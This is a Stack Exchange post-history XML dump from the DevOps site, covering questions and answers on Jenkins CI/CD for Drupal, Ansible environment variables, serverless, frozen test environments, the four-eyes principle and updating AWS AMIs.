  <row Id="1580" PostHistoryTypeId="5" PostId="480" RevisionGUID="d19f237c-4c83-4263-b0d9-3504a59058b6" CreationDate="2017-03-13T10:17:34.310" UserId="40" Comment="added 112 characters in body; edited tags; edited title" Text="Assume you want to implement [tag:continuous-integration] (= CI) and [tag:continuous-deployment] (= CD) for building and maintaining websites using [Drupal](https://www.drupal.org/project/drupal) (let's assume for Drupal Version 7). Often times Jenkins seems to be recommended as one of the most appropriate solutions for doing so.&#xD;&#xA;&#xD;&#xA;But what kind of CI/CD related functionality can I actually use it for? Here are some of things I'm thinking of, but I'm not sure if I'm correct on that, and/or if these are the only things:&#xD;&#xA;&#xD;&#xA;- CI related: Automated testing.&#xD;&#xA;- CD related: Migrating custom module development between dev / staging / QA environments.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1581" PostHistoryTypeId="4" PostId="480" RevisionGUID="d19f237c-4c83-4263-b0d9-3504a59058b6" CreationDate="2017-03-13T10:17:34.310" UserId="40" Comment="added 112 characters in body; edited tags; edited title" Text="How can Jenkins help me to implement CI/CD for Drupal?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1582" PostHistoryTypeId="6" PostId="480" RevisionGUID="d19f237c-4c83-4263-b0d9-3504a59058b6" CreationDate="2017-03-13T10:17:34.310" UserId="40" Comment="added 112 characters in body; edited tags; edited title" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;drupal&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1583" PostHistoryTypeId="11" PostId="468" RevisionGUID="e5009513-70bc-4929-954e-2d85509e83a9" CreationDate="2017-03-13T10:46:17.467" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:27,&quot;DisplayName&quot;:&quot;SztupY&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:187,&quot;DisplayName&quot;:&quot;SQB&quot;}]}" />
  <row Id="1584" PostHistoryTypeId="6" PostId="468" RevisionGUID="fa874781-27ae-40be-b795-8bc58d322398" CreationDate="2017-03-13T11:37:26.530" UserId="187" Comment="Applied most appropriate tags, as the previous ones sure didn't fit." Text="&lt;culture&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1585" PostHistoryTypeId="24" PostId="468" RevisionGUID="fa874781-27ae-40be-b795-8bc58d322398" CreationDate="2017-03-13T11:37:26.530" Comment="Proposed by 187 approved by 40, 46 edit id of 149" ContentLicense="CC BY-SA 3.0" />
  <row Id="1586" PostHistoryTypeId="5" PostId="479" RevisionGUID="2782a128-d3d1-4e65-8cfd-5b87f25ac682" CreationDate="2017-03-13T11:47:05.357" UserId="40" Comment="fix grammar and improve title" Text="This is a very broad question about methods and advice regarding Environment variables / structure. But ultimately I'm looking for answers for the very specific question of `How should I store my environment variables?`&#xD;&#xA;&#xD;&#xA;Firstly some clarifications:&#xD;&#xA; &#xD;&#xA; - An environment to me can be from 3 to 10 servers and is a way of containing a specific customer's infrastructure.&#xD;&#xA; - Inside each environment there are a few variables which are mostly automatically generated from a few key inputs (name, size etc).&#xD;&#xA;&#xD;&#xA;As it stands right now we're storing all of our environment variables in a structure like so:&#xD;&#xA;&#xD;&#xA;    &lt;playbook&gt;.yml                   # Various playbooks for deployment&#xD;&#xA;    roles/windows                    # Ansible role for Ubuntu&#xD;&#xA;    roles/ubuntu                     # Ansible role for Ubuntu&#xD;&#xA;    config/hosts/&lt;name&gt;.yml          # Ansible inventory&#xD;&#xA;    config/hosts/vars/&lt;name&gt;.json    # Environment specific variables &#xD;&#xA;&#xD;&#xA;Right now the config is initialised as a submodule in the git repository above. As the variables file changes rather frequently this has caused issues with the data changing, once, twice or even three times between commits making changes increasingly difficult to trace.&#xD;&#xA;&#xD;&#xA;As I personally see it going forward we should be looking to store all our customer variables in a centralised / scalable way and then hook into it with a dynamic inventory with [tag:Ansible].&#xD;&#xA;&#xD;&#xA;I understand there are a few technologies which seem to do a part of what could be required such as Consul but they seem to work best in an environment which serves one big application rather than lots of smaller slightly differing ones.&#xD;&#xA;&#xD;&#xA;I essentially see us having to write an inventory script and then just shove all of our data into some not-for-purpose built database and then keep going on as if nothing changed. I see this conceivably as a way to potentially trim down on a lot of the data we currently store and perhaps look into different ways of storing the data rather than just scaling up what serves it again.&#xD;&#xA;&#xD;&#xA;I'm hoping somebody has some kind of experience in implementing infrastructure as code when having to deal with lots of smaller environments as opposed to one, two or three huge ones.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1587" PostHistoryTypeId="4" PostId="479" RevisionGUID="2782a128-d3d1-4e65-8cfd-5b87f25ac682" CreationDate="2017-03-13T11:47:05.357" UserId="40" Comment="fix grammar and improve title" Text="How should I store my environment variables?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1590" PostHistoryTypeId="10" PostId="504" RevisionGUID="10c9f8d9-c16f-4130-9f67-3cc2ae105b98" CreationDate="2017-03-13T12:56:30.023" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;},{&quot;Id&quot;:294,&quot;DisplayName&quot;:&quot;Danny Nimmo&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;}]}" />
  <row Id="1591" PostHistoryTypeId="2" PostId="509" RevisionGUID="b60b2103-2abe-40dc-811d-271fee09103f" CreationDate="2017-03-13T13:15:50.943" UserId="46" Text="All great answers already. I was going through this [blog post][1] in HighScalability, where I've come across this excellent explanation of what serverless mean:&#xD;&#xA;&#xD;&#xA;&gt; The phrase “serverless” doesn’t mean servers are no longer involved.&#xD;&#xA;&gt; It simply means that developers no longer have to think that much&#xD;&#xA;&gt; about them. Computing resources get used as services without having to&#xD;&#xA;&gt; manage around physical capacities or limits. Service providers&#xD;&#xA;&gt; increasingly take on the responsibility of managing servers, data&#xD;&#xA;&gt; stores and other infrastructure resources…Going serverless lets&#xD;&#xA;&gt; developers shift their focus from the server level to the task level.&#xD;&#xA;&gt; Serverless solutions let developers focus on what their application or&#xD;&#xA;&gt; system needs to do by taking away the complexity of the backend&#xD;&#xA;&gt; infrastructure.&#xD;&#xA;&#xD;&#xA;And, one more learning from my personal experience in building serverless infrastructure is:&#xD;&#xA;&#xD;&#xA; - Serverless data pipelines doesn't really need to be real-time only. One can build efficient batch-processing serverless pipelines via AWS's CloudWatch alert mechanisms, which allows one to monitor the tools and raise alerts for (AWS)Lambda to compute. &#xD;&#xA;&#xD;&#xA;Like for example: Store the files in an AWS SQS queue. Once the number of messages in the queue reaches 10, fire an event to Lambda.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://highscalability.com/blog/2017/1/30/part-1-of-thinking-serverlesshow-new-approaches-address-mode.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1592" PostHistoryTypeId="2" PostId="510" RevisionGUID="710be160-2bc4-4be2-a4e7-77c179bfbe32" CreationDate="2017-03-13T14:50:48.267" UserId="47" Text="Sounds like you're talking about a test environment which is constantly re-used without being **reliably** re-initialized for every test execution. This makes such test an unreliable one. Similar, from the reliability prospective, with manual testing, if you want.&#xD;&#xA;&#xD;&#xA;IMHO you shouldn't be using such testing *inside* your CI/CD qualification purposes as that will effectively invalidate your qualification process (at least in that area). Saying that the software passes test X without actually executing test X for every software version delivered or without having the certainty that the `pass` result obtained is not accidental (due to false positives) will erode your testing's confidence level. False negatives are not credibility damaging, but they are also undesired because of the unnecessary &quot;noise&quot; they create.&#xD;&#xA;&#xD;&#xA;It's fine to execute such testing *outside* your CI/CD qualification process. But you'd be treating a failed result in such testing just like a customer-found bug: you'd need to reliably reproduce the issue to be able to develop a fix for it and confirm that the fix is working. And you can't really do that if the testing is not reliable.&#xD;&#xA;&#xD;&#xA;If you plan to address the issue then ideally you'd first develop an automated, reliable test case for reproducing the issue. Which you'd use to develop a fix and confirm its effectiveness (test result should transition from FAIL to PASS). You can (should?) also place this testcase inside your CI/CD qualification process to prevent future re-occurence, if desired - to increase your overall software release quality level.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1597" PostHistoryTypeId="12" PostId="506" RevisionGUID="f229b3c9-33cf-40bd-b370-c301aafee452" CreationDate="2017-03-13T17:09:58.240" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="1598" PostHistoryTypeId="13" PostId="506" RevisionGUID="95d13621-8c21-4dc8-a8d4-ac16bbf73aa8" CreationDate="2017-03-13T17:15:39.800" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="1599" PostHistoryTypeId="2" PostId="512" RevisionGUID="ff925098-f552-438b-b4a3-c96779addf9f" CreationDate="2017-03-13T17:34:10.410" UserId="47" Text="The breakage is always theoretically possible because the pre-commit verification performed by the developer is done in isolation and thus can't take into account other in-flight changes being verified in parallel. Such changes can interfere with each-other and cause regressions without actually have collissions detectable at the SCM-level.&#xD;&#xA;&#xD;&#xA;A simple example of such interfering changes:&#xD;&#xA;&#xD;&#xA;Let's assume the code in the latest version of a project branch includes a certain function, defined in one file and invoked in a couple of other files. Two developers working in parallel on that project are preparing to make some changes to the code.&#xD;&#xA;&#xD;&#xA;Developer A reworks that function removing or adding a mandatory function argument and, of course, updates all invocations of the function in all the associated files to match the updated definition.&#xD;&#xA;&#xD;&#xA;Developer B decides to add an invocation of said function in a file which didn't contain any such invocation before and is thus not touched by developer A's changes. Of course developer B is filling the argument list to match the function's definition visible in the latest label. Which is the old definition, as developer A's changes aren't yet committed.&#xD;&#xA;&#xD;&#xA;Both developers correctly perform the pre-commit verifications with a pass result and proceed to commit their code changes. Since the two changesets do not touch the same files no final merge happens, which typically would be an indication of potential problems, warranting a closer look and maybe a re-execution of the pre-commit verification. Nothing whatsoever can give even a subtle hint that something may go wrong.&#xD;&#xA;&#xD;&#xA;Yet the end result is catastrophic - the build is broken as the function call added by developer B doesn't match the function definition updated by developer A.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1600" PostHistoryTypeId="8" PostId="337" RevisionGUID="c1ce87ce-934b-4fc0-8fcb-d8ff6b9323f2" CreationDate="2017-03-13T17:44:53.427" UserId="40" Comment="Rollback to [52dfd287-6323-4e50-bc12-15d6b090aedc]" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was thaught that the **`four-eyes principle`** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **`two-(wo)man rule`** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-(mo)man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are possibly off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="1601" PostHistoryTypeId="7" PostId="337" RevisionGUID="c1ce87ce-934b-4fc0-8fcb-d8ff6b9323f2" CreationDate="2017-03-13T17:44:53.427" UserId="40" Comment="Rollback to [52dfd287-6323-4e50-bc12-15d6b090aedc]" Text="What are possible implementations of the four-eyes principle?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1602" PostHistoryTypeId="9" PostId="337" RevisionGUID="c1ce87ce-934b-4fc0-8fcb-d8ff6b9323f2" CreationDate="2017-03-13T17:44:53.427" UserId="40" Comment="Rollback to [52dfd287-6323-4e50-bc12-15d6b090aedc]" Text="&lt;configuration&gt;&lt;approvals&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1603" PostHistoryTypeId="5" PostId="337" RevisionGUID="3764eedb-ac61-4de6-bf58-cdab8e3d6d6a" CreationDate="2017-03-13T17:46:24.760" UserId="40" Comment="added 4 characters in body; edited tags; edited title" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was taught that the **`four-eyes principle`** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **`two-(wo)man rule`** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-(mo)man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are, pretty sure, off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="1604" PostHistoryTypeId="4" PostId="337" RevisionGUID="3764eedb-ac61-4de6-bf58-cdab8e3d6d6a" CreationDate="2017-03-13T17:46:24.760" UserId="40" Comment="added 4 characters in body; edited tags; edited title" Text="What are possible implementations (or examples) of the four-eyes principle?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1605" PostHistoryTypeId="6" PostId="337" RevisionGUID="3764eedb-ac61-4de6-bf58-cdab8e3d6d6a" CreationDate="2017-03-13T17:46:24.760" UserId="40" Comment="added 4 characters in body; edited tags; edited title" Text="&lt;configuration&gt;&lt;four-eyes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1606" PostHistoryTypeId="5" PostId="382" RevisionGUID="661aedca-13b3-457c-abbd-ab739d7af273" CreationDate="2017-03-13T17:59:23.580" UserId="40" Comment="Fix minor typos / grammar errors" Text="One of the implementation on code is the [Pull Request model](https://help.github.com/articles/about-pull-requests/) (PR)  popularized by GitHub.&#xD;&#xA;&#xD;&#xA;The main reasoning behind is that only a small set of maintainers of the product will be allowed to merge code into the release branch. Every new feature/bugfix will happen on a new branch and once done will be defined as a pull request.&#xD;&#xA;&#xD;&#xA;This allows to test on the merge from actual release (master) code with the code in the PR in an automatic way (Travis being the most popular for public project actually) and give a first feed back on the code quality.&#xD;&#xA;&#xD;&#xA;Once the automatic tests have passed, for the 4 eyes principle, it still requires a configurable number of persons to review and approve the change before it gets merged obviously at least 1 person (who is not the PR author) to enforce 4 eyes reviewing the changes.&#xD;&#xA;&#xD;&#xA;There's a wide range of options to merge automatically once the quorum of reviewers is met or to still need a manual merge by a maintainer.&#xD;&#xA;&#xD;&#xA;The permissions to review and merge can be separated which helps giving more people the right to &quot;vote&quot; on the merge status while keeping the possibility to restrict who can actually do the merge." ContentLicense="CC BY-SA 3.0" />
  <row Id="1607" PostHistoryTypeId="2" PostId="513" RevisionGUID="d6c3a204-b841-4738-a748-a09effeb6e26" CreationDate="2017-03-13T19:06:47.323" UserId="40" Text="Here is a partial quote from [an answer][1] to the question about &quot;http://devops.stackexchange.com/q/498/40&quot;:&#xD;&#xA;&#xD;&#xA;&gt; This environment usually freezes during the tests.&#xD;&#xA;&#xD;&#xA;My question: what are sample implementations of a frozen environment? I.e. what can you do to technically enforce that nobody (except if allowed by an authorized user like a release manager) will be able to change anything in such frozen environment.&#xD;&#xA;&#xD;&#xA;**Note**: I'm not talking about what (I think) is called &quot;frozen periods&quot; during (eg) year-end processing in banks. That is about not being allowed to apply any (repeat any) changes to production environments, to reduce the risk of new changes/fixes being introduced that may impact the year-end processing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/499/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="1608" PostHistoryTypeId="1" PostId="513" RevisionGUID="d6c3a204-b841-4738-a748-a09effeb6e26" CreationDate="2017-03-13T19:06:47.323" UserId="40" Text="How to implement a frozen test environment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1609" PostHistoryTypeId="3" PostId="513" RevisionGUID="d6c3a204-b841-4738-a748-a09effeb6e26" CreationDate="2017-03-13T19:06:47.323" UserId="40" Text="&lt;configuration&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1610" PostHistoryTypeId="2" PostId="514" RevisionGUID="809437ac-7cfd-442b-8d96-486b41ed9e84" CreationDate="2017-03-13T19:58:19.967" UserId="446" Text="This sounds like an anti pattern to me. I believe everybody or nobody should have access to all the environments.&#xA;&#xA;If users are subverting the process then I would take a serious look at the process to try and ensure it's not getting in people's way.&#xA;&#xA;Implementing an automated mechanism that enforces a specific state is also useful for encouraging people to do things the right way. This can be via Config Management or destroying any immutable instance if someone SSHs to it" ContentLicense="CC BY-SA 3.0" />
  <row Id="1611" PostHistoryTypeId="2" PostId="515" RevisionGUID="72061afa-91b2-41fb-a7ad-f4130605f79d" CreationDate="2017-03-13T20:26:29.250" UserId="488" Text="If you're doing CI/CD, that implies that there are some automated tests happening (CI) prior to deployment (CD). If you're finding a lot of issues in your test environment, that means they aren't being caught by the tests being run prior to deployment; this indicates insufficient automated testing. If the developers are having issues where defects are cropping up in the test environment(s), they need to improve their automated test suites in order to prevent this. This will also improve quality and reliability overall, all the way through into production." ContentLicense="CC BY-SA 3.0" />
  <row Id="1612" PostHistoryTypeId="5" PostId="513" RevisionGUID="e4269516-da22-42a0-a0fc-43a3173bc04e" CreationDate="2017-03-13T20:28:28.640" UserId="40" Comment="added 374 characters in body" Text="Here is a partial quote from [an answer][1] to the question about &quot;http://devops.stackexchange.com/q/498/40&quot;:&#xD;&#xA;&#xD;&#xA;&gt; This environment usually freezes during the tests.&#xD;&#xA;&#xD;&#xA;My question: what are sample implementations of a frozen environment? I.e. what can you do to technically enforce that nobody (except if allowed by an authorized user like a release manager) will be able to change anything in such frozen environment.&#xD;&#xA;&#xD;&#xA;**Notes**:&#xD;&#xA;&#xD;&#xA;- I'm not talking about what (I think) is called &quot;frozen periods&quot; during (eg) year-end processing in banks. That is about not being allowed to apply any (repeat any) changes to production environments, to reduce the risk of new changes/fixes being introduced that may impact the year-end processing.&#xD;&#xA;&#xD;&#xA;- Assume that users who are allowed to approve/apply changes anyway (such as the release manager in my example), will only do so in exceptional cases. Such as where during testing a high severity issue is encountered, for which deferring a fix to a next release is not an option (since it would production at risk if the release would be activated without such fix).&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/499/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="1613" PostHistoryTypeId="5" PostId="382" RevisionGUID="16d7c10d-30dc-452f-bc6c-08f4f89c37c4" CreationDate="2017-03-13T20:39:13.003" UserId="40" Comment="Integrate comments from OPer " Text="One of the implementation on code is the [Pull Request model](https://help.github.com/articles/about-pull-requests/) (PR)  popularized by GitHub.&#xD;&#xA;&#xD;&#xA;The main reasoning behind is that only a small set of maintainers of the product will be allowed to merge code into the release branch. Every new feature/bugfix will happen on a new branch and once done will be defined as a pull request.&#xD;&#xA;&#xD;&#xA;This allows to test on the merge from actual release (master) code with the code in the PR in an automatic way (Travis being the most popular for public project actually) and give a first feed back on the code quality. Travis CI (for example) can run on the result of actual master with the  code from the pull request merged into it, so it will fail if the merge is impossible, or if the commands defined in the travisci.yml return a non zero exit code&#xD;&#xA;&#xD;&#xA;Once the automatic tests have passed, for the 4 eyes principle, it still requires a configurable number of persons to review and approve the change before it gets merged obviously at least 1 person (who is not the PR author) to enforce 4 eyes reviewing the changes.&#xD;&#xA;&#xD;&#xA;There's a wide range of options to merge automatically once the quorum of reviewers is met or to still need a manual merge by a maintainer.&#xD;&#xA;&#xD;&#xA;The permissions to review and merge can be separated which helps giving more people the right to &quot;vote&quot; on the merge status while keeping the possibility to restrict who can actually do the merge." ContentLicense="CC BY-SA 3.0" />
  <row Id="1617" PostHistoryTypeId="2" PostId="516" RevisionGUID="e11328ea-eb3a-48b0-9676-bb5b6ad8e47a" CreationDate="2017-03-14T03:41:39.903" UserId="228" Text="What you are looking for is at the [bottom][1] of the GitHub [README][2] describing [Job DSL][3] for the [Promoted Builds Plugin][4]. Link to GitHub is on every plugin's page. There are also links to plugins it depends on and you should read the documentation for those like the [Job DSL plugin][5] wiki. You can also ask questions in the Job DSL [forum][6] or simply read the [documentation][7]. Here is a [plugin][8] that extends the promotion syntax of the DSL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/promoted-builds-plugin#job-dsl-support&#xD;&#xA;  [2]: https://github.com/jenkinsci/promoted-builds-plugin&#xD;&#xA;  [3]: https://plugins.jenkins.io/job-dsl&#xD;&#xA;  [4]: https://wiki.jenkins-ci.org/display/JENKINS/Promoted+Builds+Plugin&#xD;&#xA;  [5]: https://github.com/jenkinsci/job-dsl-plugin/wiki&#xD;&#xA;  [6]: https://groups.google.com/forum/#!forum/job-dsl-plugin&#xD;&#xA;  [7]: https://github.com/jenkinsci/job-dsl-plugin/wiki/Job-DSL-Commands&#xD;&#xA;  [8]: https://github.com/codecentric/job-dsl-promotions-plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="1618" PostHistoryTypeId="2" PostId="517" RevisionGUID="ef3efe95-0ad5-46f6-b35a-0c41b5690954" CreationDate="2017-03-14T05:10:35.270" UserId="228" Text="The problem here is caused by the random salt in ansible-vault encryption. You can hack VaultEditor class to pass the salt to it from an argument in ansible-vault. The random salt is generated in `lib/ansible/parsing/vault/__init__.py` on this [line][1]. It is called from [lib/ansible/cli/vault.py][2] where you can easily add the argument for fixed salt. If you do change it, please submit an upstream patch to Ansible, I'd love to use it.&#xD;&#xA;&#xD;&#xA;This problem is further discussed here on [hacker news][3]. And there are other implementations with tools that take fixed salt. Namely [gitcrypt][4], [transcrypt][5] and [ansible-vault-tools][6], but this last one has the same salt issue.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/stable-2.2/lib/ansible/parsing/vault/__init__.py#L711&#xD;&#xA;  [2]: https://github.com/ansible/ansible/blob/stable-2.2/lib/ansible/cli/vault.py&#xD;&#xA;  [3]: https://news.ycombinator.com/item?id=8264496&#xD;&#xA;  [4]: https://github.com/kinnalru/gitcrypt&#xD;&#xA;  [5]: https://github.com/elasticdog/transcrypt&#xD;&#xA;  [6]: https://github.com/building5/ansible-vault-tools" ContentLicense="CC BY-SA 3.0" />
  <row Id="1620" PostHistoryTypeId="2" PostId="519" RevisionGUID="5b31c167-fccf-4a46-94de-83efa0f23928" CreationDate="2017-03-14T08:03:08.817" UserId="46" Text="I have a Master-Workers style computation model. And, I launch the workers via an AMI through an Ansible playbook.&#xD;&#xA;&#xD;&#xA;The workers' AMI has all the necessary configs needed for doing the computation (which is mostly a pipeline of ML tasks). &#xD;&#xA;&#xD;&#xA;However, we keep updating and optimizing our algorithms and ML models almost on a regular basis, which means I have to keep my Worker AMI's up-to-date.&#xD;&#xA;&#xD;&#xA;So, **is there a tool or a technique which would help me do that?**&#xD;&#xA;&#xD;&#xA;Also, **is it a scalable practise, or is doing the containerized way better?**&#xD;&#xA;[By which, I mean launching an EC2 instance and pulling a container and do the computations inside a container]." ContentLicense="CC BY-SA 3.0" />
  <row Id="1621" PostHistoryTypeId="1" PostId="519" RevisionGUID="5b31c167-fccf-4a46-94de-83efa0f23928" CreationDate="2017-03-14T08:03:08.817" UserId="46" Text="Are there any best practises and/or tools for updating AMIs on a regular basis?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1622" PostHistoryTypeId="3" PostId="519" RevisionGUID="5b31c167-fccf-4a46-94de-83efa0f23928" CreationDate="2017-03-14T08:03:08.817" UserId="46" Text="&lt;amazon-web-services&gt;&lt;containers&gt;&lt;amazon-ami&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1623" PostHistoryTypeId="2" PostId="520" RevisionGUID="fce7290c-bbe0-4820-a8dd-af6a91137bd6" CreationDate="2017-03-14T08:58:53.740" UserId="13" Text="I can answer on how we do it actually:&#xD;&#xA;&#xD;&#xA;We're using a private Gitlab on AWS and its CI system.&#xD;&#xA;We have a repository for our build environment (a docker image with packer/scripts/json describing amis) and one with a .gitlab-ci.yml which describe the build and export tasks for each of our base AMI.  &#xD;&#xA;Each project build its own AMI from our base one on every push and we use a DynamoDb table to store the versions and ami ID for deploys.&#xD;&#xA;&#xD;&#xA;This could be an approach, where your ML taks update would trigger the AMI build.&#xD;&#xA;&#xD;&#xA;If you go on the docker way, you should have a look at AWS [ECS](https://aws.amazon.com/documentation/ecs/?icmpid=docs_menu) which will cut the burden of starting an EC2 instance before pulling the docker image.&#xD;&#xA;&#xD;&#xA;Another option could be to move totally to [Amazon Machine Learning](https://aws.amazon.com/machine-learning/?nc2=h_l3_al) but in this case you will raise the burden of migrating you jobs outside of AWS if the need arise.&#xD;&#xA;&#xD;&#xA;There's no &quot;best&quot; way in my opinion, all are valid and the one you're the most comfortable with should be your choice :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1624" PostHistoryTypeId="2" PostId="521" RevisionGUID="63b8551e-874d-4905-9987-063b349c47ec" CreationDate="2017-03-14T12:28:47.580" UserId="13" Text="I'll give my experience on this one, mostly because it showcase why some answers are not always applicable.&#xD;&#xA;&#xD;&#xA;Some context to start:&#xD;&#xA;&#xD;&#xA;We have 7 environments to host roughly 80 applications, most of them rely on each others through webservices or shared tables on db2-iSeries.  &#xD;&#xA;For good or bad, the iSeries are our DB system of reference.  &#xD;&#xA;This last point invalidate any idea of bringing the app with it's dependencies in an isolated environment as bringing up an AS400 for each would cost too much and we wouldn't have the hardware to run it anyway.&#xD;&#xA;&#xD;&#xA;What we are doing is not a complete automated Continuous Delivery, we have a schedule of releases to bring up a coherent lot of applications for the general operations. Aside from this each test teams can trigger a release in one of the Q/A environment for the application they are testing and can put a lock on some application version to avoid another team request breaking their tests.  &#xD;&#xA;Dependencies of applications are checked before release, so the system won't release something if other application can't be updated or doesn't match its dependencies need.  &#xD;&#xA;The main idea is to allow updates when it won't impact someone, if there's no tests planned it should flow from previous environment (and we're aiming at removing the scheduled releases in the 5 firsts environments on mid term now we have validated this 'on demand' method system).&#xD;&#xA;&#xD;&#xA;The short version is to have a 'semaphore' system around the applications in the environment, a team should be able to lock its target application with its dependencies (and transitive dependencies) for the time of manual tests.   &#xD;&#xA;The implementation of this semaphore is highly dependent on your automation system so I won't extend on this way.&#xD;&#xA;&#xD;&#xA;Of course the easy way is, as others mentioned, to create a fresh environment for an application with all its dependencies to avoid the semaphore described above." ContentLicense="CC BY-SA 3.0" />
  <row Id="1625" PostHistoryTypeId="2" PostId="522" RevisionGUID="1655efec-be0d-4049-add7-fa8b9c5bce55" CreationDate="2017-03-14T14:42:06.573" UserId="62" Text="We are planning to automate this process for our Jenkins EC2 slaves.&#xD;&#xA;&#xD;&#xA;Currently we have to manually update the AMI ID every time we build a new AMI, but by taking advantage of the `config.xml` file where Jenkins store all its configuration, we should be able to automatically update the AMI value in this file and then restart Jenkins to take those changes into effect." ContentLicense="CC BY-SA 3.0" />
  <row Id="1626" PostHistoryTypeId="5" PostId="462" RevisionGUID="3d45984e-ae5c-43fc-b035-bc0f275044ca" CreationDate="2017-03-14T14:55:17.377" UserId="40" Comment="added 111 characters in body" Text="For questions about numbers that provide information used for measurement, comparison or tracking of processes." ContentLicense="CC BY-SA 3.0" />
  <row Id="1627" PostHistoryTypeId="24" PostId="462" RevisionGUID="3d45984e-ae5c-43fc-b035-bc0f275044ca" CreationDate="2017-03-14T14:55:17.377" Comment="Proposed by 40 approved by 47, 6 edit id of 137" ContentLicense="CC BY-SA 3.0" />
  <row Id="1628" PostHistoryTypeId="5" PostId="464" RevisionGUID="0b5876ea-b00e-4333-8261-6c6d78ec1005" CreationDate="2017-03-14T14:55:24.097" UserId="40" Comment="added 123 characters in body" Text="For questions about observing, tracking, and recording activities or data to measure progress towards achieving objectives." ContentLicense="CC BY-SA 3.0" />
  <row Id="1629" PostHistoryTypeId="24" PostId="464" RevisionGUID="0b5876ea-b00e-4333-8261-6c6d78ec1005" CreationDate="2017-03-14T14:55:24.097" Comment="Proposed by 40 approved by 47, 6 edit id of 138" ContentLicense="CC BY-SA 3.0" />
  <row Id="1630" PostHistoryTypeId="5" PostId="477" RevisionGUID="5d7ac791-f810-4a68-bd12-e62cfd6ac726" CreationDate="2017-03-14T14:55:29.237" UserId="47" Comment="added 97 characters in body" Text="For questions about Bamboo - Atlassian's continuous integration, deployment, and delivery product" ContentLicense="CC BY-SA 3.0" />
